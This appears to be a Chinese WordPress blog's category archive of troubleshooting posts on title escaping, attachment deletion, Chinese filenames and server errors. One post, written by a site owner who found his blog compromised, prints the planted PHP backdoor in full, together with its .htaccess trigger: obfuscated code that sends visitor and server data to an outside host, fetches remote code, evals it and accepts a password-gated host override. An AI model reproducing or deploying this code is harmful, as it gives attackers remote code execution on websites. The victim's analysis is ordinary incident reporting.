Hacklog » wp问题

最近文章title属性去除HTML标签

荒野无灯 — Tue, 03 Jan 2012 06:11:33 +0000

default-widgets.php line 550:

1	the_permalink() ?>" title=" echo esc_attr(get_the_title() ? get_the_title() : get_the_ID()); ?>"> if ( get_the_title() ) the_title(); else the_ID(); ?>

属性处未过滤html标签.
查看下the_title_attribute函数的源码会发现这个函数是过滤了的~~~
因此，手动修复它吧，如果为了这个自己重新写一个最近文章的widget,划不来~~~，能偷懒则偷。

因为get_the_title会应用the_title勾子，如果我在the_title HOOK函数中写入HTML代码，此时，显示的东西就不是我们想要的。

1	echo esc_attr(strip_tags(get_the_title() ? get_the_title() : get_the_ID())); ?>

然后又看了下esc_attr函数，

1
2
3
4
5

function esc_attr( $text ) {
$safe_text = wp_check_invalid_utf8( $text );
$safe_text = _wp_specialchars( $safe_text, ENT_QUOTES );
return apply_filters( 'attribute_escape', $safe_text, $text );
}

发现它是可HOOK的，因此，上面的方案又可以修改了。

1
2
3
4
5
6
7

//something like 最近文章title属性去除HTML标签
function strip_all_attribute_tags($safe_text, $text )
{
$safe_text = html_entity_decode( $safe_text, ENT_QUOTES );
return strip_tags($safe_text);
}
add_filter('attribute_escape', 'strip_all_attribute_tags',99, 2);

这样行了吗？有些问题
经html_entity_decode后，一些字符可能会出现乱码。如果写成这样就安全了，不过效率上我不怎么喜欢，有些事情做了两遍：

1
2
3
4
5
6
7
8
9

//something like 最近文章title属性去除HTML标签
function strip_all_attribute_tags($safe_text, $text )
{
$safe_text = wp_check_invalid_utf8( $text );
$safe_text = strip_tags($safe_text);
$safe_text = _wp_specialchars( $safe_text, ENT_QUOTES );
return $safe_text;
}
add_filter('attribute_escape', 'strip_all_attribute_tags',99, 2);

~~最后，决定采取特殊问题特殊化的策略：~~

1
2
3
4
5
6
7
8
9
10
11
12

//由于最后生成的title内容形如
//最近文章title属性去除HTML标签
//其实这里用strpos截取也是可以的，不过我没有测试二者的实际速度相差有多大。不用正则，太耗费时间
function strip_all_attribute_tags($safe_text, $text )
{
$safe_text = str_replace(
array('',''),
array(','" >',''),
$safe_text);
return strip_tags($safe_text);
}
add_filter('attribute_escape', 'strip_all_attribute_tags',99, 2);

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=5271

随机日志

2010年09月6日 // QQ企业邮箱试用 (17)
2011年03月18日 // 文本文件批量合并小工具 (15)
2011年12月21日 // 定义EMPTY_TRASH_DAYS常量为0后,WordPress 3.3 无法删除附件的BUG (2)
2008年12月27日 // top100.cn使用的是Red Hat Enterprise Linux (0)
2010年11月26日 // 强大的网页数据分析工具HttpWatch (4)
2009年05月18日 // float:left; 惹的祸 (4)

定义EMPTY_TRASH_DAYS常量为0后,WordPress 3.3 无法删除附件的BUG

荒野无灯 — Wed, 21 Dec 2011 00:59:51 +0000

在wp-config.php中，定義

1	define('EMPTY_TRASH_DAYS', 0 );

(这条语句可以禁用回收站)之後，在日誌編輯頁面無法正常刪除附件。

為確保沒有其它因素影响操作结果，我禁用了所有的插件，并且，使用的是官方的twentyten主题。

ps:

I have tried this on both Linux and Windows server.
WordPress version 3.3
PHP version 5.3.6
mysql version 5.5.11

the thread:
http://wordpress.org/support/topic/bugwordpress-33-can-not-delete-attachment-in-thickbox-popup-media-window

刪除附件：

刪除失敗：

另外，这时，在“媒体库”删除文件是可以正常删除的。

如果注释掉

1	define('EMPTY_TRASH_DAYS', 0 );

则在日志页面可以正常删除附件，这种情况下它会问你是否继续，点那个“继续”就能彻底删除附件了。

调试发现：

存在

1	define('EMPTY_TRASH_DAYS', 0 );

时:

Request URL:wp-admin/admin-ajax.php
Request Method:POST
Status Code:200 OK

Form Data:
id:300
action:trash-post
_ajax_nonce:8583b8742b

如果不定义禁用回收站，则：

Request URL: wp-admin/post.php?action=delete&post=300&_wpnonce=8583b8742b
Request Method:GET

Query String Parameters
action:delete
post:300
_wpnonce:8583b8742b

解决办法：
观察其生成的链接：

1	<a href="post.php?action=delete&post=301&_wpnonce=f4e6e7a80f" id="del[301]" class="delete">Delete Permanently</a>

再看 handlers.js,不难发现是其action参数错误，原本应该是delete的，却搞成了trash-post,所以就出错了。。。

wp-includes/js/swfupload/handlers.dev.js(106)
wp-includes/js/plupload/handlers.dev.js(146)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

// Bind AJAX to the new Delete button
jQuery('a.delete', item).click(function(){
// Tell the server to delete it. TODO: handle exceptions
jQuery.ajax({
url: 'admin-ajax.php',
type: 'post',
success: deleteSuccess,
error: deleteError,
id: fileObj.id,
data: {
id : this.id.replace(/[^0-9]/g, ''),
action : 'trash-post',
_ajax_nonce : this.href.replace(/^.*wpnonce=/,'')
}
});
return false;
});

// Bind AJAX to the new Undo button
jQuery('a.undo', item).click(function(){
// Tell the server to untrash it. TODO: handle exceptions
jQuery.ajax({
url: 'admin-ajax.php',
type: 'post',
id: fileObj.id,
data: {
id : this.id.replace(/[^0-9]/g,''),
action: 'untrash-post',
_ajax_nonce: this.href.replace(/^.*wpnonce=/,'')
},
success: function(data, textStatus){
var item = jQuery('#media-item-' + fileObj.id);

if ( type = jQuery('#type-of-' + fileObj.id).val() )
jQuery('#' + type + '-counter').text(jQuery('#' + type + '-counter').text()-0+1);
if ( item.hasClass('child-of-'+post_id) )
jQuery('#attachments-count').text(jQuery('#attachments-count').text()-0+1);

jQuery('.filename .trashnotice', item).remove();
jQuery('.filename .title', item).css('font-weight','normal');
jQuery('a.undo', item).addClass('hidden');
jQuery('a.describe-toggle-on, .menu_order_input', item).show();
item.css( {backgroundColor:'#ceb'} ).animate( {backgroundColor: '#fff'}, { queue: false, duration: 500, complete: function(){ jQuery(this).css({backgroundColor:''}); } }).removeClass('undo');
}
});
return false;
});

试着把那个

1	action : 'trash-post',

中的trash-post修改为 delete-post,还是一样的结果。。。

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=5208

随机日志

2008年12月22日 // thinkphp 内部函数 D、F、S、C、L、A 他们的用途和所在位置 (0)
2008年12月24日 // PHP沉思录之三–Smarty (0)
2011年12月24日 // Christmas gift：几个小软件 (1)
2009年05月29日 // Total Commander 7.02a 绿色汉化增强版 (0)
2008年12月31日 // 【转帖】配机过程中30个不可忽略的细节 (0)
2011年01月7日 // HP笔记本电池校准方法 (3)

WP用户日志页面404错误的解决办法

荒野无灯 — Thu, 22 Sep 2011 07:07:50 +0000

博客之前一直有一个404错误，一直没怎么关注。今天修改数据库搞定此问题了。

另外说一下，simpledark用的取用户日志链接的函数为the_author_posts_link,此函数目前已经处于deprecated状态。官方建议用　get_author_posts_url();　替代之。

the_author_posts_link has been deprecated. That means it has been replaced by a new function or is no longer supported, and may be removed from future versions. This function is deprecated since 2.1 use get_author_posts_url() instead.

由于我显示名称（display_name）用的是中文的“荒野无灯”　，而get_author_posts_url();用来组建URL是取wp_users表中的user_nicename字段的，由于我的user_nicename字段默认和display_name 一样，因此组建的URL自然也是中文的。不过貌似WP的rewrite正则匹配没有考虑到中文用户，因此，最简单的办法就是修改user_nicename字段为英文吧，中间不要有空格和其它奇怪字符。

1	UPDATE `my_wb_db`.`wp_users` SET `user_nicename` = 'HuangYeWuDeng' WHERE `wp_users`.`ID` =你的用户ID;

OK，搞定。
现在的用户链接已经是：
http://ihacklog.com/author/HuangYeWuDeng

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=4843

WordPress上传中文文件名文件乱码之解决办法

荒野无灯 — Wed, 21 Sep 2011 11:16:50 +0000

WP中文论坛一坛友“晓风东来”发mail来问我WP上传中文文件有无解决办法，这问题以前还真没有细究。今天正好有时间，研究了下。这篇文章也算是给广大中文WP博友做个参考。

说明：

目前此方法适用于WP　3.x版。
适用服务器为windows 2003/2008 中文版操作系统（ cp 936 ）,不符合此条件的不要乱修改。
由此修改造成的任何问题与本人无关。
最后，说一点废话：
中文名是比较直观，不过个人建议大家最好还是上传英文的。这是保存100%不出问题的办法。
如果你只是想上传中文名的文件上去，然后能以中文名下载下来，而不在乎文件保存在服务器上是否是中文名，那么推荐你用这个插件：Hacklog-DownloadManager

wp-includes\functions.php line 2298 function wp_unique_filename
此函数系用PHP的basename取文件名，据我所知，此basename函数是不能获取中文文件名名称的，若文件名是中文的，返回的结果只剩下后缀了。
此处我给出一个支持中文的basename函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

/**
* @author 荒野无灯
* 2010 0506修正，可取得网址文件名
* 2011-09-21 fixed,make the function perform like PHP origenal basename function
* @param string $file_name
* @param string $suffix
* @return string
*/
function ihacklog_basename($file_name, $suffix = '')
{
$file_name = str_replace("\\", '/', $file_name);
if (false !== strpos($file_name, '/'))
{
$basename = substr($file_name, strrpos($file_name, '/') + 1);
}
else
{
$basename = $file_name;
}
if (!empty($suffix))
{
$basename = substr($basename, 0, strlen($basename) - strlen($suffix));
}
return $basename;
}

此函数需丢入当前主题 functions.php 或者作为插件载入。

2011-09-22T12:08:01+00:00补记：
后来仔细看了下php文档，发现也可以让basename支持中文，方法是在调用它之前要调用setlocale() 函数设置一个能处理多字节字符的
locale.

setlocale() 函数设置地区信息（地域信息）。

地区信息是针对一个地理区域的语言、货币、时间以及其他信息。

该函数返回当前的地区设置，若失败则返回 false。
注释：setlocale() 函数仅针对当前脚本改变地区信息。

提示：可以通过 setlocale(LC_ALL,NULL) 把地区信息设置为系统默认。

由于此函数只在当前脚本有作用，因此在WP里面要想它全局生效的话，此设置需要加入load或者加入wp-config.php中，如：

1
2
3

setlocale(LC_ALL, 'en_US.UTF8');
// 或者：
setlocale(LC_ALL, 'zh_CN.UTF8');

这样以后再调用basename即能正确获取中文名文件的basename.

wp_unique_filename 之line 2305

1	$name = basename($filename, $ext);

修改为

1	$name = ihacklog_basename($filename, $ext);

WP上传图片是通过此页面：
wp-admin/media-upload.php?post_id=日志ID&type=image&TB_iframe=1
flash=0参数是可选的。表示不用flash方式上传。
因上传图片比上传音乐等多一些处理，比如生成缩略图等，因此这里拿它开刀。

在日志发布页面以thickbox载入时是非inline方式上传，而通过媒体 –> 添加　上传时是通过inline方式上传的。
inline方式上传动作处理是：

1	$id = media_handle_upload('async-upload', $_REQUEST['post_id']);

非inline方式上传处理是：

1	do_action("media_upload_$type");

我们再看
media_upload_image() ，此函数位于wp-admin/includes/media.php　line 519.
当上传按钮点击时，处理是：

1	$id = media_handle_upload('async-upload', $_REQUEST['post_id']);

再看wp-admin/includes/media.php line 191 media_handle_upload()
调用　 wp_handle_upload 开始上传文件了：

1	$file = wp_handle_upload($_FILES[$file_id], $overrides, $time);

wp-admin/includes/file.php line 324

1	$filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback );

wp_unique_filename获取name是调用的basename，因此 wp_unique_filename函数得修改。
wp-includes/functions.php line 2298 wp_unique_filename()
line 2305

1	$name = basename($filename, $ext);

修改为：

1	$name = ihacklog_basename($filename, $ext);

wp-admin/includes/file.php 其下 line 327 后加一句

1	$new_file = iconv('UTF-8','GBK', $new_file);

，即变为：

1
2
3
4

// Move the file to the uploads dir
$new_file = $uploads['path'] . "/$filename";
//windows服务器文件系统文件名默认是GBK编码
$new_file = iconv('UTF-8','GBK', $new_file);

现在在回到wp-admin/inclues/media.php function media_handle_upload()
line 238 更新meta信息，调用　wp_generate_attachment_metadata()：

1	wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );

wp-admin/inclues/image.php line 89 wp_generate_attachment_metadata()：
line 101

1	$metadata['file'] = _wp_relative_upload_path($file);

此处由于文件名是从wp_handle_upload传递过来的，因此得转回UTF-8，在其下加一句：

1	$metadata['file'] = iconv('GBK','UTF-8', $metadata['file'] );

line 126-127:

1 2	if ( $resized ) $metadata['sizes'][$size] = $resized;

修改为：

1
2
3
4
5

if ( $resized )
{
$resized['file'] = iconv('GBK','UTF-8', $resized['file'] );
$metadata['sizes'][$size] = $resized;
}

另外此函数内部调用了image_make_intermediate_size() ,而image_make_intermediate_size又调用了wp_basename
看wp-includes/media.php line 490
此处调用wp_basename　:

1	'file' => wp_basename( $resized_file ),

再看wp-includes/formatting.php　line 2888 wp_basename()
这里要对wp_basename做修改

1	return urldecode( ihacklog_basename( str_replace( '%2F', '/', urlencode( $path ) ), $suffix ) );

wp-admin/includes/media.php line　582　function media_sideload_image()
line 590

1	$file_array['name'] = basename($matches[0]);

修改为：

1	$file_array['name'] = ihacklog_basename($matches[0]);

此函数内部调用　media_handle_sideload().
wp-admin/includes/media.php line 256　function media_handle_sideload
line 266

1	$title = preg_replace('/\.[^.]+$/', '', basename($file));

修改为:

1	$title = preg_replace('/\.[^.]+$/', '', ihacklog_basename($file));

其后又调用wp_generate_attachment_metadata().

最后：
wp-admin/includes/media.php line 1199 function get_media_item()
line 1217 原来的basename修改为wp_basename

1	$filename = esc_html( basename( $post->guid ) )

修改为：

1	$filename = esc_html( wp_basename( $post->guid ) );

不然返回结果也是只剩下后缀的。

其它修改：

1
2
3
4
5
6
7
8
9
10

wp-admin/includes/media.php line 46 function wp_crop_image()
line 70 basename ----> ihacklog_basename
wp-admin/includes/media.php line 625 function media_upload_audio()
line 647 basename ----> ihacklog_basename
wp-admin/includes/media.php line 684 function media_upload_video()
line 706 basename ----> ihacklog_basename
wp-admin/includes/media.php line 743 function media_upload_file()
line 765 basename ----> ihacklog_basename
wp-admin/includes/media.php line 1026 function image_attachment_fields_to_save
line 1029 basename ----> ihacklog_basename

最后，上一张图：

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=4825

随机日志

2011年10月7日 // Linux下用dnsmasq做dns cache server (7)
2011年05月27日 // Zend Studio 8.0.1发布 (3)
2009年11月2日 // 杯具 (2)
2011年08月19日 // Habari ? (12)
2010年12月10日 // 手动更新到WP3.0.3 (8)
2010年04月30日 // 折腾Ubuntu 10.04 LTS (Lucid Lynx) [持续更新中......] (5)

关于3.0.1的更新提示

荒野无灯 — Sun, 07 Nov 2010 00:43:53 +0000

明明已经是最新版了，每次进后台还说我的不是最新版。

淫荡地修改了下版本号，问题搞定。（如有知道其它更”官方“的方法的，请告诉下）
/wp-includes/version.php

1	$wp_version = '3.0.2';

不过这样以后，在”更新到“ 页面会说”您正在使用 WordPress 的开发版本。“。不过没关系，只要它不提示更新就行了。

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=4198

随机日志

2011年09月29日 // 博客做了下优化，欢迎大家测试速度 (14)
2010年05月2日 // linux下的源码搜索利器gonzui (4)
2011年12月13日 // 今天忙了一下午，都是WP升级害的 (13)
2011年12月10日 // 两个统计目录占用磁盘空间大小的小工具 (5)
2009年04月26日 // 30 Exceptional CSS Techniques and Examples (0)
2008年12月31日 // 电脑主板开机电路检测….. (0)

win主机下wordpress不支持中文标签的解决办法

荒野无灯 — Sat, 10 Jul 2010 13:40:12 +0000

今天WP中文论坛一网友问我win主机下wordpress不支持中文标签问题如何解决，GOOGLE之，解决办法如下：
修改wp-includes/rewrite.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

function get_tag_permastruct() {
if ( isset($this->tag_structure) )
return $this->tag_structure;

if ( empty($this->permalink_structure) ) {
$this->tag_structure = '';
return false;
}

if ( empty($this->tag_base) )
$this->tag_structure = trailingslashit( $this->front . 'tag' );
else
$this->tag_structure = trailingslashit( '/' . $this->root . $this->tag_base );

$this->tag_structure .= '%tag%';

return $this->tag_structure;
}

1
2
3
4

if ( empty($this->permalink_structure) ) {
$this->tag_structure = '';
return false;
}

这里的判断加个 ! 号即可，即变成：

1
2
3
4

if ( ! empty($this->permalink_structure) ) {
$this->tag_structure = '';
return false;
}

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=3978

随机日志

2010年03月27日 // 用vim去掉utf-8 BOM (2)
2011年09月12日 // 换新主题了:SimpleDark (35)
2011年12月18日 // 普通青年版:WordPress管理员密码忘记了怎么办？上传一个文件即可 (3)
2009年02月10日 // PATH_INFO的方式来实现搜索引擎友好 (0)
2011年04月26日 // 即时显示评论者gravatar头像 (21)
2011年12月19日 // “控制面板”版WordPress中文语言文件 (8)

更换空间后奇怪的403 Forbidden错误

荒野无灯 — Mon, 01 Mar 2010 05:33:15 +0000

现在我把空间由LP搬到新主机上了,新空间是在小张那购买的，报上万戈童鞋的大名，哈哈，果然有优惠啊。
不过以前一直没有问题的链接重定向却冒出个403 Forbidden错误，如下图：

想了一下，问题应该出在服务器。
因为我以前用的LP的空间是apache 2的，而现在的是 LiteSpeed Web Server。代码明明没有问题，为什么冒出这个错误呢？文件也有权限访问啊。后来，我试着把query string参数值中的http://去掉，这样竟然就没有出错了。看来问题就出在这个http:// 上。把这个参数值中的http://去掉就OK了。即修改代码为：

1 2	$text=str_replace('href="http://', 'href="'.get_option('home').'/l.php?url=', $text); $text=str_replace("href='http://", "href='".get_option('home')."/l.php?url=", $text);

以前的详细代码见：WordPress评论链接重定向跳转

修改代码后没有403错误了：

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=3478

关于wordpress郁闷了很久的事情

荒野无灯 — Fri, 06 Nov 2009 02:29:16 +0000

好几个月了，“上传／插入”右侧那四个按钮一直是点击了没反应。
重新上传所有文件全部覆盖也没有用。
每次上传图片只有右键点击在新窗口中打开再上传东东。

后记：
今天花了点时间，把博客ftp down下来了，终于解决问题了。
在本地架設了 lamp ,把数据库导入，然后要执行几个SQL語句，呵呵，这几个語句可是从小小子童鞋那里学过来的：

1
2
3
4

UPDATE `hacklog`.`wp_options` SET `option_value` = 'http://www.hacklog.domain' WHERE `wp_options`.`option_name` = 'home' LIMIT 1 ;
UPDATE wp_posts SET post_content=REPLACE(post_content,'http://www.ihacklog.com','http://www.hacklog.domain');

UPDATE `hacklog`.`wp_options` SET `option_value` = 'http://www.hacklog.domain' WHERE `wp_options`.`option_name` = 'siteurl' LIMIT 1 ;

其中http://www.hacklog.domain是我本地架設dns服务器，指向的是我本机的ip ，呵呵。

用文件替换法，最终把问题锁定在主题风格上，发现如果切换成别的风格就没事。于是重新修改之。OK了。

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=2965

险，博客被挂马

荒野无灯 — Tue, 22 Sep 2009 13:37:48 +0000

今天上FTP看下，有意外发现：
在wp-content/temp目录下多了两个文件:

其中.htaccess 内容如下：

1 2	Options -MultiViews ErrorDocument 404 //blog/wp-content/temp/200892.php

php文件内容如下：

error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="aea9e93f574c4e737df3db20658c710b") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>

这个temp目录我当时是为了方便更新插件把权限设置成了777,还好只有几个目录有写权限，而且后台禁止所有除我的ip以外的ip 地址访问。

我只解密了其中一个变量：

http://ads.rssnews.ws/?bmV0YmVhbnMuemhvdWJvLmNvbQ==.bmV0YmVhbnMuemhvdWJvLmNvbQ==.L3Rlc3QvZS5waHA=.L3Rlc3QvZS5waHA=...TW96aWxsYS81LjAgKFgxMTsgVTsgTGludXggaTY4NjsgZW4tVVM7IHJ2OjEuOS4wLjE0KSBHZWNrby8yMDA5MDkwMjE2IFVidW50dS85LjA0IChqYXVudHkpIEZpcmVmb3gvMy4wLjE0IEdUQjU=.MTkyLjE2OC4xLjI=.e.L2hvbWUvemhvdWJvL3dvcmtzcGFjZS9uZXRiZWFucy90ZXN0L2UucGhw.ZW4tdXMsZW47cT0wLjcsemgtY247cT0wLjM=

大概是用远程文件包含，然后再eval执行代码。而且貌似可以当作webshell控制：因为其中有这么一句：

1	isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="aea9e93f574c4e737df3db20658c710b") $f=$_REQUEST["id"]

从时间看是我暑假在家时被挂的马，那时我正好在家，没有连网，也没怎么查看FTP。
所有子其他子站点下只要是777的目录，都被挂了相同的马，而且那个php webshell 的文件名是随机生成的。
我猜测这可以是LP的服务器的问题。

ads.rssnews.wsIP为66.226.75.10
物理地址为“美国加利福尼亚州“ ，也就是我现在服务器所在的地方。

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=2570

随机日志

2011年08月29日 // Win7文件类型图标自定义 (3)
2011年01月5日 // 老服务器新增SCSI硬盘，挂载之 (0)
2008年12月22日 // 40个迹象表明你还是PHP菜鸟 (0)
2008年12月31日 // 主板系列知识：并口/串口 (1)
2011年09月14日 // WordPress插件WP Comment Author Location (6)
2011年05月14日 // WP My Bookshelf (35)

421 Too many connections (8) from this IP

荒野无灯 — Mon, 21 Sep 2009 05:48:53 +0000

最近用filezilla上传东东到LP的空间总是出现 “421 Too many connections (8) from this IP “错误,就算把“最大连接数”设置为1 （set ‘Limit number of simultaneous connections’ to 1）也还是一样提示这个错误。
郁闷了，首先我以为是学校对上传做了限制，后来问了下学校网络中心的朋友，他说学校只是对上传速率作了限制。看来不是学校方面的问题，那就可能是Filezilla 这个软件或者是LP FTP服务器的配置的问题了。
后台又用gFTP连接，照样是421 Too many connections (8) from this IP错误：

1	421 Too many connections (8) from this IP

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=2540

随机日志

2010年05月2日 // 折腾vim (2)
2008年12月24日 // 一個人的天空很藍蓝的有点忧郁—–by1987102500 (0)
2009年04月7日 // HTTP 知识点之一：头部解释 (0)
2008年12月27日 // ip-domain check (0)
2010年05月15日 // ubuntu linux下编译安装gd-2.0.11出错 (0)
2011年08月28日 // 关于VIM高亮匹配括号 (0)

Hacklog » wp问题

最近文章title属性去除HTML标签

喜欢这篇文章吗?

随机日志

定义EMPTY_TRASH_DAYS常量为0后,WordPress 3.3 无法删除附件的BUG

喜欢这篇文章吗?

随机日志

WP用户日志页面404错误的解决办法

喜欢这篇文章吗?

相关日志

WordPress上传中文文件名文件乱码之解决办法

喜欢这篇文章吗?

随机日志

关于3.0.1的更新提示

喜欢这篇文章吗?

随机日志

win主机下wordpress不支持中文标签的解决办法

喜欢这篇文章吗?

随机日志

更换空间后奇怪的403 Forbidden错误

喜欢这篇文章吗?

相关日志

关于wordpress郁闷了很久的事情

喜欢这篇文章吗?

相关日志

险，博客被挂马

喜欢这篇文章吗?

随机日志

421 Too many connections (8) from this IP

喜欢这篇文章吗?

随机日志